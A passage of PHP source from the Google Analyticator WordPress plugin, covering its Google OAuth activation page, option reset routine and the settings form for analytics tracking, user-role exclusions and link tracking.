// Include the Google Experiment page // Hook in the options page function function add_ga_option_page() { if(ga_get_active_addons() == false){ //$plugin_page = add_options_page(__('Google Analyticator Settings', 'google-analyticator'), 'Google Analytics', 'manage_options', basename(__FILE__), 'ga_settings_page'); //add_action('load-'.$plugin_page, 'ga_pre_load' ); } $activate_page = add_submenu_page( null, 'Activation', 'Google Analytics', 'manage_options', 'ga_activate' , 'ga_activate'); $reset_page = add_submenu_page(null, 'Reset', 'Reset', 'activate_plugins', 'ga_reset', 'ga_reset' ); add_action('load-'.$reset_page, 'ga_do_reset' ); } add_action('plugin_action_links_' . plugin_basename(__FILE__), 'ga_filter_plugin_actions'); function ga_pre_load() { add_action('admin_footer', 'add_ga_admin_footer'); if( isset( $_POST['key_ga_google_token'] ) ): check_admin_referer('google-analyticator-update_settings'); // Nolonger defaults update_option('ga_defaults', 'no'); // Update GA Token update_option('ga_google_token', $_POST['key_ga_google_token']); endif; if( get_option('ga_defaults') == 'yes' ): wp_redirect( admin_url('options-general.php?page=ga_activate') ); exit; endif; /** Action to trancate Analyticator db cache **/ if(isset($_GET['pageaction']) && $_GET['pageaction'] == 'ga_clear_cache'){ global $wpdb; delete_transient('google_stats_uniques' ); delete_transient('ga_admin_stats_widget'); $wpdb->query( "delete from $wpdb->options where `option_name` like 'google_stats_visitsGraph_%'"); $wpdb->query( "delete from $wpdb->options where `option_name` like '%ga_admin_dashboard%'"); } } function ga_activate() { if (! function_exists('curl_init')) { print('Google PHP API Client requires the CURL PHP extension'); return; } if (! function_exists('json_decode')) { print('Google PHP API Client requires the JSON PHP extension'); return; } if (! function_exists('http_build_query')) { print('Google PHP API Client requires http_build_query()'); return; } $url = http_build_query( array( 'next' =>ga_analyticator_setting_url(), 'scope' => GOOGLE_ANALYTICATOR_SCOPE, 'response_type'=>'code', 'redirect_uri'=>GOOGLE_ANALYTICATOR_REDIRECT, 'client_id'=>GOOGLE_ANALYTICATOR_CLIENTID ) ); ?> <div class="wrap"> <div class="notice" style="padding: 11px 15px; border-width:1px;"><a style="text-decoration:none;" href="https://appsumo.com/collections/appsumo-originals?utm_source=originals&utm_medium=wp_plugin&utm_campaign=google-analyticator" target="_blank"><b>Turn your WordPress site into a marketing machine π</b></a></div> <p><strong>Google Authentication Code </strong> </p> <p>You need to sign in to Google and grant this plugin access to your Google Analytics account</p> <p> <a onclick="window.open('https://accounts.google.com/o/oauth2/auth?<?php echo esc_url($url) ?>', 'activate','width=700, height=600, menubar=0, status=0, location=0, toolbar=0')" target="_blank" href="javascript:void(0);"> Click Here </a> - <small> Or <a target="_blank" href="https://accounts.google.com/o/oauth2/auth?<?php echo esc_url($url) ?>">here</a> if you have popups blocked</small> </p> <div id="key"> <p>Enter your Google Authentication Code in this box. This code will be used to get an Authentication Token so you can access your website stats.</p> <form method="post" action="<?php echo esc_url(ga_analyticator_setting_url());?>"> <?php wp_nonce_field('google-analyticator-update_settings'); ?> <input type="text" name="key_ga_google_token" value="" style="width:450px;"/> <input type="submit" value="Save & Continue" /> </form> </div> <br /> <br /> <br /> <hr /> <br /> <p><strong>I Don't Want To Authenticate Through Google </strong> </p> <p>If you don't want to authenticate through Google and only use the tracking capability of the plugin (<strong><u>not the dashboard functionality</u></strong>), you can do this by clicking the button below. </p> <p>You will be asked on the next page to manually enter your Google Analytics UID.</p> <form method="post" action="<?php echo esc_url(ga_analyticator_setting_url());?>"> <input type="hidden" name="key_ga_google_token" value="" /> <?php wp_nonce_field('google-analyticator-update_settings'); ?> <input type="submit" value="Continue Without Authentication" /> </form> </div> <?php } // Add settings option function ga_filter_plugin_actions($links) { $new_links = array(); $new_links[] = '<a href="' . ga_analyticator_setting_url() .'">' . __('Settings', 'google-analyticator') . '</a>'; $new_links[] = '<a href="' . wp_nonce_url( admin_url('options-general.php?page=ga_reset'), 'ga-reset' ) .'">'. __('Reset', 'google-analyticator') . '</a>'; return array_merge($new_links, $links); } function ga_do_reset() { global $wpdb; // Check to make sure referer is same as host. check_admin_referer('ga-reset'); // Delete all GA options. delete_option(key_ga_status); delete_option(key_ga_disable_gasites); delete_option(key_ga_analytic_snippet); delete_option(key_ga_uid); delete_option(key_ga_admin); delete_option(key_ga_admin_disable); delete_option(key_ga_admin_role); delete_option(key_ga_dashboard_role); delete_option(key_ga_adsense); delete_option(key_ga_extra); delete_option(key_ga_extra_after); delete_option(key_ga_event); delete_option(key_ga_outbound); delete_option(key_ga_outbound_prefix); delete_option(key_ga_enhanced_link_attr); delete_option(key_ga_downloads); delete_option(key_ga_downloads_prefix); delete_option(key_ga_widgets); delete_option(key_ga_annon); delete_option('ga_defaults'); delete_option('ga_google_token'); delete_option('ga_google_authtoken'); delete_option('ga_profileid'); delete_transient('ga_admin_stats_widget'); // Need to remove cached items from GA widgets $wpdb->query( "delete from $wpdb->options where `option_name` like 'google_stats_visitsGraph_%'"); wp_redirect( admin_url( 'options-general.php?page=ga_activate' ) ); exit; } function ga_reset(){ /* Wont ever run. */ } function ga_settings_page(){ ga_options_page(); } function ga_options_page() { add_thickbox(); if (array_key_exists('ga_analyticator_global_notification', $_GET) && $_GET['ga_analyticator_global_notification'] == 0) { update_option('ga_analyticator_global_notification', 0); } // If we are a postback, store the options if (isset($_POST['info_update'])) { # Verify nonce check_admin_referer('google-analyticator-update_settings'); update_option('ga_defaults', 'no'); if(isset( $_POST['ga_domain_names'])){ // Get our domains array, and match the UID to the value $domains = stripslashes( $_POST['ga_domain_names'] ); $all_domains = json_decode( $domains, true ); update_option( 'ga_domain_name', $all_domains[ $_POST[key_ga_uid] ] ); } // Update the status $ga_status = wp_filter_kses( $_POST[key_ga_status] ); if (($ga_status != ga_enabled) && ($ga_status != ga_disabled)) $ga_status = ga_status_default; update_option(key_ga_status, $ga_status); // Update Hiding UID (if set) if( isset( $_POST[key_ga_disable_gasites] ) ) { $ga_disable_gasites = wp_filter_kses( $_POST[key_ga_disable_gasites] ); if (!$ga_disable_gasites) $ga_disable_gasites = ga_disable_gasites_default; update_option(key_ga_disable_gasites, $ga_disable_gasites); } // Update the Analytic Snippet //define("key_ga_analytic_snippet", "ga_analytic_snippet", true); $ga_analytic_snippet = wp_filter_kses( $_POST[key_ga_analytic_snippet] ); if (($ga_analytic_snippet != ga_enabled) && ($ga_analytic_snippet != ga_disabled)) $ga_analytic_snippet = ga_analytic_snippet; update_option(key_ga_analytic_snippet, $ga_analytic_snippet); // Update the UID $ga_uid = wp_filter_kses( $_POST[key_ga_uid] ); if ($ga_uid == '') $ga_uid = ga_uid_default; update_option(key_ga_uid, $ga_uid); // Update the admin logging $ga_admin = wp_filter_kses( $_POST[key_ga_admin] ); if (($ga_admin != ga_enabled) && ($ga_admin != ga_disabled)) $ga_admin = ga_admin_default; update_option(key_ga_admin, wp_filter_kses( $ga_admin ) ); // Update the Dimension Index $ga_admin_disable_DimentionIndex = $_POST[key_ga_admin_disable_DimentionIndex]; if ($ga_admin_disable_DimentionIndex == '') $ga_admin_disable_DimentionIndex = ga_admin_disable_DimentionIndex_default; update_option(key_ga_admin_disable_DimentionIndex, sanitize_text_field( $ga_admin_disable_DimentionIndex ) ); // Update the admin disable setting $ga_admin_disable = wp_filter_kses( $_POST[key_ga_admin_disable] ); if ( $ga_admin_disable == '' ) $ga_admin_disable = ga_admin_disable_default; update_option(key_ga_admin_disable, wp_filter_kses( $ga_admin_disable) ); // Update the admin level if ( array_key_exists(key_ga_admin_role, $_POST) ) { $ga_admin_role = $_POST[key_ga_admin_role]; } else { $ga_admin_role = ""; } update_option(key_ga_admin_role, $ga_admin_role); // Update the dashboard level if ( array_key_exists(key_ga_dashboard_role, $_POST) ) { $ga_dashboard_role = $_POST[key_ga_dashboard_role]; } else { $ga_dashboard_role = ""; } update_option(key_ga_dashboard_role, $ga_dashboard_role ); // Update the extra tracking code $ga_extra = $_POST[key_ga_extra]; update_option(key_ga_extra, wp_filter_kses( $ga_extra ) ); // Update the extra after tracking code $ga_extra_after = $_POST[key_ga_extra_after]; update_option(key_ga_extra_after, wp_filter_kses( $ga_extra_after )); // Update the adsense key $ga_adsense = $_POST[key_ga_adsense]; update_option(key_ga_adsense, sanitize_text_field( $ga_adsense ) ); // Update the event tracking $ga_event = $_POST[key_ga_event]; if (($ga_event != ga_enabled) && ($ga_event != ga_disabled)) $ga_event = ga_event_default; update_option(key_ga_event, wp_filter_kses ( $ga_event ) ); // Update the outbound tracking $ga_outbound = $_POST[key_ga_outbound]; if (($ga_outbound != ga_enabled) && ($ga_outbound != ga_disabled)) $ga_outbound = ga_outbound_default; update_option(key_ga_outbound, wp_filter_kses( $ga_outbound ) ); // Update the outbound prefix $ga_outbound_prefix = $_POST[key_ga_outbound_prefix]; if ($ga_outbound_prefix == '') $ga_outbound_prefix = ga_outbound_prefix_default; update_option(key_ga_outbound_prefix, sanitize_text_field( $ga_outbound_prefix) ); // Update the download tracking code $ga_downloads = $_POST[key_ga_downloads]; update_option(key_ga_downloads, sanitize_text_field( $ga_downloads ) ); // Update the Enhanced Link Attribution $ga_enhanced_link_attr = $_POST[key_ga_enhanced_link_attr]; if ($ga_enhanced_link_attr == '') $ga_enhanced_link_attr = ga_enhanced_link_attr_default; update_option(key_ga_enhanced_link_attr, wp_filter_kses( $ga_enhanced_link_attr) ); // Update the download prefix $ga_downloads_prefix = $_POST[key_ga_downloads_prefix]; if ($ga_downloads_prefix == '') $ga_downloads_prefix = ga_downloads_prefix_default; update_option(key_ga_downloads_prefix, sanitize_text_field( $ga_downloads_prefix) ); // Update the widgets option $ga_widgets = $_POST[key_ga_widgets]; if (($ga_widgets != ga_enabled) && ($ga_widgets != ga_disabled)) $ga_widgets = ga_widgets_default; update_option(key_ga_widgets, wp_filter_kses( $ga_widgets ) ); // Update the widgets option update_option(key_ga_annon, wp_filter_kses( $_POST[key_ga_annon] ) ); // Update enable remarketing update_option(key_ga_remarketing, wp_filter_kses( $_POST[key_ga_remarketing] ) ); // Update key_ga_hide_ad update_option(key_ga_show_ad, wp_filter_kses( $_POST[key_ga_show_ad] ) ); // Update enable tracking login update_option(key_ga_track_login, wp_filter_kses( $_POST[key_ga_track_login] ) ); do_action("ga_experiment_setting_save"); // Give an updated message echo "<div class='updated settings-error notice is-dismissible'><p><strong>" . esc_html__('Google Analyticator settings saved.', 'google-analyticator') . "</strong></p><button type='button' class='notice-dismiss'><span class='screen-reader-text'>Dismiss this notice.</span></button></div>"; } // Are we using the auth system? $useAuth = ( get_option( 'ga_google_token' ) == '' ? false : true ); // Output the options page ?> <div class="wrap"> <div class="google-analyticator-content-left"> <?php if (get_option('ga_analyticator_global_notification') == 1): ?> <style type="text/css"> #ga_analyticator_global_notification a.button:active {vertical-align:baseline;} </style> <?php endif ?> <form method="post" action="<?php echo esc_url(ga_analyticator_setting_url());?>"> <?php # Add a nonce wp_nonce_field('google-analyticator-update_settings'); ?> <?php if (get_option(key_ga_status) == ga_disabled) { ?> <div style="margin:10px auto; border:3px #f00 solid; background-color:#fdd; color:#000; padding:10px; text-align:center;"> <?php //phpcs:ignore ?> <?php _e('Google Analytics integration is currently <strong>DISABLED</strong>.', 'google-analyticator'); ?> </div> <?php } ?> <?php if ((get_option(key_ga_uid) == "XX-XXXXX-X") && (get_option(key_ga_status) != ga_disabled)) { ?> <div style="margin:10px auto; border:3px #f00 solid; background-color:#fdd; color:#000; padding:10px; text-align:center;"> <?php esc_html_e('Google Analytics integration is currently enabled, but you did not enter a UID. Tracking will not occur.', 'google-analyticator'); ?> </div> <?php } ?> <div id="vumga-container" style="position:relative;"> <div class="google-analyticator-left-column"> <table class="form-table" cellspacing="2" cellpadding="5" width="100%"> <tr> <td colspan="2" style="padding-left:0"><h3> <?php esc_html_e('Basic Settings', 'google-analyticator'); ?> </h3></td> </tr> <tr> <th width="35%" valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_status) ?>"> <?php esc_html_e('Google Analytics logging is', 'google-analyticator'); ?>:</label> </th> <td> <?php echo "<select name='".esc_attr(key_ga_status)."' id='".esc_attr(key_ga_status)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_status) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Enabled', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_status) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('Disabled', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> </td> </tr> <tr id="ga_ajax_accounts"> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_uid); ?>"><?php esc_html_e('Analytics Account', 'google-analyticator'); ?>:</label> </th> <td> <?php if (get_option(key_ga_disable_gasites) == ga_disabled){?> <?php if( $useAuth ): $uids = ga_get_analytics_accounts(); echo "<select name='".esc_attr(key_ga_uid)."'> "; $hasSelected = false; // Will be set to true once a match is found. Cant echo selected twice. foreach($uids as $id=>$domain): echo '<option value="'.esc_attr($id).'"'; // If set in DB. if( get_option(key_ga_uid) == $id ) { $hasSelected=true; echo ' selected="selected"'; } // Else if the domain matches the current domain & nothing set in DB. elseif( ( $_SERVER['HTTP_HOST'] == $domain ) && ( ! $hasSelected ) ) { $hasSelected=true; echo ' selected="selected"'; } echo '>'.esc_html($domain).'</option>'; endforeach; echo '</select>'; // Need a copy of the array, so we can store the domain name too (for visual purposes) echo '<input type="hidden" name="ga_domain_names" value="' . esc_attr(json_encode( $uids )) . '" />'; else: echo '<input type="text" name="'.esc_attr(key_ga_uid).'" value="'. esc_attr(get_option( key_ga_uid )) .'" />'; endif; ?><br /> <input type="checkbox" name="<?php echo esc_attr(key_ga_disable_gasites)?>" id="<?php echo esc_attr(key_ga_disable_gasites)?>"<?php if(get_option(key_ga_disable_gasites) == ga_enabled){?> checked="checked"<?php }?> /> <?php esc_html_e('Hide Google Analytics UID after saving', 'google-analyticator'); ?> <?php }else{ ?><?php echo esc_html(get_option( 'ga_domain_name' )); ?> - To change this, you must <a href="<?php echo esc_attr(wp_nonce_url(admin_url('/options-general.php?page=ga_reset'), 'ga-reset')); ?>">deauthorize and reset the plugin</a> <input type="hidden" name="<?php echo esc_attr(key_ga_disable_gasites)?>" value="<?php echo esc_attr(ga_enabled)?>" /><input type="hidden" name="<?php echo esc_attr(key_ga_uid)?>" value="<?php echo esc_attr(get_option(key_ga_uid))?>" /> <?php }?> </td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_analytic_snippet) ?>"> <?php esc_html_e('Tracking Code', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_analytic_snippet)."' id='".esc_attr(key_ga_analytic_snippet)."'>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_analytic_snippet) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('Universal (analytics.js)', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_analytic_snippet) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Traditional (ga.js)', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('If you are using Universal Analytics make sure you have changed your account to a Universal Analytics property in Google Analytics. Read more about Universal Analytics <a href="https://support.google.com/analytics/answer/2817075?hl=en" target="_blank">here</a>.', 'google-analyticator'); ?> </p> </td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_widgets); ?>"> <?php esc_html_e('Support us', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_show_ad)."' id='".esc_attr(key_ga_show_ad)."'>\n"; echo "<option value='1'"; if(get_option(key_ga_show_ad) == '1') echo " selected='selected'"; echo ">" . esc_html__('Yes', 'google-analyticator') . "</option>\n"; echo "<option value='0' "; if(get_option(key_ga_show_ad) == '0') echo" selected='selected'"; echo ">" . esc_html__('No', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e('Show our link on the admin dashboard. Pretty please.', 'google-analyticator'); ?> </p></td> </tr> <tr> <td><b>View your Dashboard</b></td> <td><a href="../wp-admin/index.php">Click here</a></td> </tr> <tr> <td><input type="submit" class="button button-primary" name="info_update" value="<?php esc_html_e('Save Changes', 'google-analyticator'); ?>" /></td> </tr> <tr> <td colspan="2" style="padding-left:0"><h3> <?php esc_html_e('Tracking Settings', 'google-analyticator'); ?> </h3></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label> <?php esc_html_e('Anonymize IP Addresses', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_annon)."' id='".esc_attr(key_ga_annon)."'>\n"; echo "<option value='0'"; if(get_option(key_ga_annon) == false ) echo " selected='selected'"; echo ">" . esc_html__('No', 'google-analyticator') . "</option>\n"; echo "<option value='1'"; if(get_option(key_ga_annon) == true) echo" selected='selected'"; echo ">" . esc_html__('Yes', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e('By selecting "Yes", This tells Google Analytics to anonymize the information sent by the tracker objects by removing the last octet of the IP address prior to its storage. Note that this will slightly reduce the accuracy of geographic reporting.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_admin) ?>"> <?php esc_html_e('Track all logged in WordPress users', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_admin)."' id='".esc_attr(key_ga_admin)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_admin) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Yes', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_admin) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('No', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e('Selecting "no" to this option will prevent logged in WordPress users from showing up on your Google Analytics reports. This setting will prevent yourself or other users from showing up in your Analytics reports. Use the next setting to determine what user groups to exclude.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_admin_role) ?>"> <?php esc_html_e('User roles to not track', 'google-analyticator'); ?>:</label> </th> <td><?php global $wp_roles; $roles = $wp_roles->get_names(); $selected_roles = get_option(key_ga_admin_role); if ( !is_array($selected_roles) ) $selected_roles = array(); # Loop through the roles foreach ( $roles AS $role => $name ) { echo '<input type="checkbox" value="' . esc_attr($role) . '" name="' . esc_attr(key_ga_admin_role) . '[]"'; if ( in_array($role, $selected_roles) ) echo " checked='checked'"; $name_pos = strpos($name, '|'); $name = ( $name_pos ) ? substr($name, 0, $name_pos) : $name; echo ' /> ' . esc_html($name, 'User role') . '<br />'; } ?> <p class="setting-description"> <?php esc_html_e('Specifies the user roles to not include in your WordPress Analytics report. If a user is logged into WordPress with one of these roles, they will not show up in your Analytics report.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_admin_disable) ?>"> <?php esc_html_e('Method to prevent tracking', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_admin_disable)."' id='".esc_attr(key_ga_admin_disable)."'>\n"; echo "<option value='remove'"; if(get_option(key_ga_admin_disable) == 'remove') echo " selected='selected'"; echo ">" . esc_html__('Remove', 'google-analyticator') . "</option>\n"; echo "<option value='admin'"; if(get_option(key_ga_admin_disable) == 'admin') echo" selected='selected'"; echo ">" . esc_html__('Use \'admin\' variable', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <span class="ga_admin_disable_DimentionIndex_span"> <?php esc_html_e('Dimension Index', 'google-analyticator'); ?>: <input type="text" name="<?php echo esc_attr(key_ga_admin_disable_DimentionIndex)?>" style="width:50px;" value="<?php echo esc_attr(get_option(key_ga_admin_disable_DimentionIndex))?>" class="<?php echo esc_attr(key_ga_admin_disable_DimentionIndex)?>" id="<?php echo esc_attr(key_ga_admin_disable_DimentionIndex)?>" /> </span> <p class="setting-description"> <?php esc_html_e('Selecting the "Remove" option will physically remove the tracking code from logged in users. Selecting the "Use \'admin\' variable" option will assign a variable called \'admin\' to logged in users. This option will allow Google Analytics\' site overlay feature to work, but you will have to manually configure Google Analytics to exclude tracking from pageviews with the \'admin\' variable.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label> <?php esc_html_e('Enable Remarketing, Demographics and Interests reports', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_remarketing)."' id='".esc_attr(key_ga_remarketing)."'>\n"; echo "<option value='0'"; if(get_option(key_ga_remarketing) == '0' ) echo" selected='selected'"; echo ">" . esc_html__('No', 'google-analyticator') . "</option>\n"; echo "<option value='1'"; if(get_option(key_ga_remarketing) == '1' ) echo " selected='selected'"; echo ">" . esc_html__('Yes', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e( 'In order to use remarketing, <a href="https://support.google.com/analytics/answer/2611270" target="_blank">please make sure you complete this checklist from Google</a>', 'google-analyticator'); ?> </p> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e( 'To use remarketing, <a href="https://support.google.com/analytics/answer/2884495" target="_blank">Edit permission</a> is required', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label><?php esc_html_e('Track WordPress Login Page', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_track_login)."' id='".esc_attr(key_ga_track_login)."'>\n"; echo "<option value='1'"; if(get_option(key_ga_track_login) == '1' ) echo " selected='selected'"; echo ">" . esc_html__('Yes', 'google-analyticator') . "</option>\n"; echo "<option value='0'"; if(get_option(key_ga_track_login) == '0' ) echo" selected='selected'"; echo ">" . esc_html__('No', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e( 'This will track all access to wp-login.php', 'google-analyticator'); ?> </p></td> </tr> <tr> <td colspan="2" style="padding-left:0"><h3><?php esc_html_e('Link Tracking Settings', 'google-analyticator'); ?></h3></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_outbound) ?>"> <?php esc_html_e('Outbound link tracking', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_outbound)."' id='".esc_attr(key_ga_outbound)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_outbound) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Enabled', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_outbound) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('Disabled', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e('Disabling this option will turn off the tracking of outbound links. It\'s recommended not to disable this option unless you\'re a privacy advocate (now why would you be using Google Analytics in the first place?) or it\'s causing some kind of weird issue.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_event) ?>"> <?php esc_html_e('Event tracking', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_event)."' id='".esc_attr(key_ga_event)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_event) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Enabled', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_event) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('Disabled', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('Enabling this option will treat outbound links and downloads as events instead of pageviews. Since the introduction of <a href="https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide">event tracking in Analytics</a>, this is the recommended way to track these types of actions. Only disable this option if you must use the old pageview tracking method.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_enhanced_link_attr) ?>"> <?php esc_html_e('Enhanced Link Attribution', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<select name='".esc_attr(key_ga_enhanced_link_attr)."' id='".esc_attr(key_ga_enhanced_link_attr)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_enhanced_link_attr) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Enabled', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_enhanced_link_attr) == ga_disabled ) echo " selected='selected'"; echo ">" . esc_html__('Disabled', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('You can tag your pages to implement an enhanced link-tracking functionality by enabling this option. <a href="https://support.google.com/analytics/answer/2558867?hl=en" target="_blank">learn more</a>', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_downloads); ?>"><?php esc_html_e('Download extensions to track', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<input type='text' size='50' "; echo "name='".esc_attr(key_ga_downloads)."' "; echo "id='".esc_attr(key_ga_downloads)."' "; echo "value='".esc_attr(wp_filter_kses(get_option(key_ga_downloads)))."' />\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('Enter any extensions of files you would like to be tracked as a download. For example to track all MP3s and PDFs enter <strong>mp3,pdf</strong>. <em>Outbound link tracking must be enabled for downloads to be tracked.</em>', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_outbound_prefix); ?>"> <?php esc_html_e('Prefix external links with', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<input type='text' size='50' "; echo "name='".esc_attr(key_ga_outbound_prefix)."' "; echo "id='".esc_attr(key_ga_outbound_prefix)."' "; echo "value='". esc_attr( wp_filter_kses(get_option(key_ga_outbound_prefix)))."' />\n"; ?> <p class="setting-description"> <?php esc_html_e('Enter a name for the section tracked external links will appear under. This option has no effect if event tracking is enabled.', 'google-analyticator'); ?> </em></p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_downloads_prefix); ?>"> <?php esc_html_e('Prefix download links with', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<input type='text' size='50' "; echo "name='".esc_attr(key_ga_downloads_prefix)."' "; echo "id='".esc_attr(key_ga_downloads_prefix)."' "; echo "value='".esc_attr(wp_filter_kses ( get_option(key_ga_downloads_prefix) ))."' />\n"; ?> <p class="setting-description"> <?php esc_html_e('Enter a name for the section tracked download links will appear under. This option has no effect if event tracking is enabled.', 'google-analyticator'); ?> </em></p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_adsense); ?>"> <?php esc_html_e('Google Adsense ID', 'google-analyticator'); ?>:</label> </th> <td><?php echo "<input type='text' size='50' "; echo "name='".esc_attr(key_ga_adsense)."' "; echo "id='".esc_attr(key_ga_adsense)."' "; echo "value='".esc_attr(get_option(key_ga_adsense))."' />\n"; ?> <p class="setting-description"> <?php esc_html_e('Enter your Google Adsense ID assigned by Google Analytics in this box. This enables Analytics tracking of Adsense information if your Adsense and Analytics accounts are linked.', 'google-analyticator'); ?> </p></td> </tr> <tr> <td colspan="2" style="padding-left:0"><h3><?php esc_html_e('Additional Tracking Code', 'google-analyticator'); ?></h3></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_extra); ?>"> <?php esc_html_e('Additional tracking code', 'google-analyticator'); ?> <br />(<?php esc_html_e('before tracker initialization', 'google-analyticator'); ?>):</label> </th> <td><?php echo "<textarea cols='50' rows='8' "; echo "name='".esc_attr(key_ga_extra)."' "; echo "id='".esc_attr(key_ga_extra)."'>"; echo esc_textarea(get_option(key_ga_extra))."</textarea>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('Enter any additional lines of tracking code that you would like to include in the Google Analytics tracking script. The code in this section will be displayed <strong>before</strong> the Google Analytics tracker is initialized.', 'google-analyticator'); ?> </p></td> </tr> <tr> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_extra_after); ?>"> <?php esc_html_e('Additional tracking code', 'google-analyticator'); ?> <br /> (<?php esc_html_e('after tracker initialization', 'google-analyticator'); ?>):</label> </th> <td><?php echo "<textarea cols='50' rows='8' "; echo "name='".esc_attr(key_ga_extra_after)."' "; echo "id='".esc_attr(key_ga_extra_after)."'>"; echo esc_textarea(get_option(key_ga_extra_after))."</textarea>\n"; ?> <p class="setting-description"> <?php // phpcs:ignore ?> <?php _e('Enter any additional lines of tracking code that you would like to include in the Google Analytics tracking script. The code in this section will be displayed <strong>after</strong> the Google Analytics tracker is initialized.', 'google-analyticator'); ?> </p></td> </tr> <tr> <td colspan="2" style="padding-left:0"><h3><?php esc_html_e('Admin Dashboard Widgets', 'google-analyticator'); ?></h3> <?php if(!$useAuth): ?> <div style="margin:10px auto; border:3px #f00 solid; background-color:#fdd; color:#000; padding:10px; text-align:center;"> <?php esc_html_e('You have not authenticated with Google - you cannot use dashboard widgets! Reset the plugin to authenticate..', 'google-analyticator'); ?> </div> <?php endif;?></td> </tr> 